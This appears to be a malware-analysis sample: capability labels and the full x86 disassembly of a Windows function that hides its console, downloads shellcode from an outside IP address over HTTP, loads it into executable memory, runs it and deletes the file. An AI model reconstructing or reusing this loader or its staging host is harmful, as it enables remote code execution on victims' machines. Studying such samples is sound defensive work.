Function at 0x4036b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50da28
mov eax, dword fs:[0]
push eax
sub esp, 0xe0
mov eax, dword [0x560410]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x40], ebx
call fcn.00401020
test al, al
jne 0x4036f9
call fcn.00403500
cmp al, bl
jne 0x403aaf
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0xe8], 0x51be94
mov dword [ebp - 0xd8], 0x51be8c
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x88], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xdc], ebx
call fcn.00401780
lea eax, [ebp - 0xd0]
push 0x20
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ebx
call fcn.004028a0
mov byte [ebp - 0x48], al
cmp dword [ebp - 0x50], ebx
jne 0x40377a
mov eax, dword [ebp - 0x7c]
or eax, 4
push ebx
push eax
lea ecx, [ebp - 0x88]
call fcn.00401650
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 4]
mov dword [ebp + edx - 0xd8], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax + 4]
mov dword [ebp + ecx - 0xe8], vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebp - 0xe8]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0xd0]
mov dword [ebp - 4], 5
mov dword [ebp + eax - 0xe8], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
call fcn.00401350
mov dword [ebp - 0xd0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
push str.38.6.198.143:80_1.bin
lea ecx, [ebp - 0xd8]
push str.http:__
push ecx
mov dword [ebp - 4], 7
call fcn.00402de0
add esp, 8
push eax
call fcn.00402de0
add esp, 8
lea edx, [ebp - 0x2c]
push edx
lea ecx, [ebp - 0xe8]
call fcn.00403680
mov eax, dword [ebp - 0x2c]
mov edi, 0x10
mov byte [ebp - 4], 8
cmp dword [ebp - 0x18], edi
jae 0x40382a
lea eax, [ebp - 0x2c]
push str.shellcode.bin
push eax
call fcn.00401000
add esp, 8
test al, al
jne 0x40389a
push str.Failed_to_download_shellcode._n
call fcn.004f2d2a
add esp, 4
cmp dword [ebp - 0x18], edi
jb 0x40385a
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00403b18
add esp, 4
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
mov dword [ebp - 4], 0xffffffff
call fcn.004027a0
lea ecx, [ebp - 0x88]
push ecx
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.0050d36f
add esp, 4
or eax, 0xffffffff
jmp 0x403ab1
push 0x51bf74
push str.shellcode.bin
call fcn.004f35d8
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x403912
push str.Failed_to_open_shellcode_file._n
call fcn.004f2d2a
add esp, 4
cmp dword [ebp - 0x18], edi
jb 0x4038d0
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00403b18
add esp, 4
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
mov dword [ebp - 4], 0xffffffff
call fcn.004027a0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.0050d36f
add esp, 4
mov eax, 0xfffffffe
jmp 0x403ab1
push 2
push ebx
push esi
call fcn.004f34a0
push esi
call fcn.004f33b1
push esi
mov edi, eax
call fcn.004f315f
add esp, 0x14
push edi
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
call fcn.00402d70
mov ecx, dword [ebp - 0x3c]
push esi
push edi
push 1
push ecx
mov byte [ebp - 4], 9
call fcn.004f3142
add esp, 0x10
push esi
cmp eax, edi
je 0x4039cd
call fcn.004f2e84
push str.Failed_to_read_shellcode_from_file._n
call fcn.004f2d2a
mov eax, dword [ebp - 0x3c]
add esp, 8
cmp eax, ebx
je 0x403979
push eax
call fcn.00403b18
add esp, 4
cmp dword [ebp - 0x18], 0x10
jb 0x40398b
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00403b18
add esp, 4
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
mov dword [ebp - 4], 0xffffffff
call fcn.004027a0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.0050d36f
add esp, 4
mov eax, 0xfffffffd
jmp 0x403ab1
call fcn.004f2e84
add esp, 4
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
cmp esi, ebx
jne 0x403a39
push str.Failed_to_allocate_memory_for_shellcode._n
call fcn.004f2d2a
add esp, 4
lea ecx, [ebp - 0x3c]
call fcn.00402a50
lea ecx, [ebp - 0x2c]
call fcn.00402950
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], 0xffffffff
call fcn.004027a0
lea ecx, [ebp - 0x88]
push ecx
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.0050d36f
add esp, 4
mov eax, 0xfffffffc
jmp 0x403ab1
mov edx, dword [ebp - 0x3c]
push edi
push edx
push esi
call fcn.004f24d0
add esp, 0xc
call esi
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push str.shellcode.bin
call fcn.004f2de7
add esp, 4
test eax, eax
je 0x403a74
push str.Failed_to_delete_shellcode_file._n
call fcn.004f2d2a
add esp, 4
lea ecx, [ebp - 0x3c]
call fcn.00402a50
lea ecx, [ebp - 0x2c]
call fcn.00402950
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], 0xffffffff
call fcn.004027a0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.0050d36f
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f2c9b
mov esp, ebp
pop ebp
ret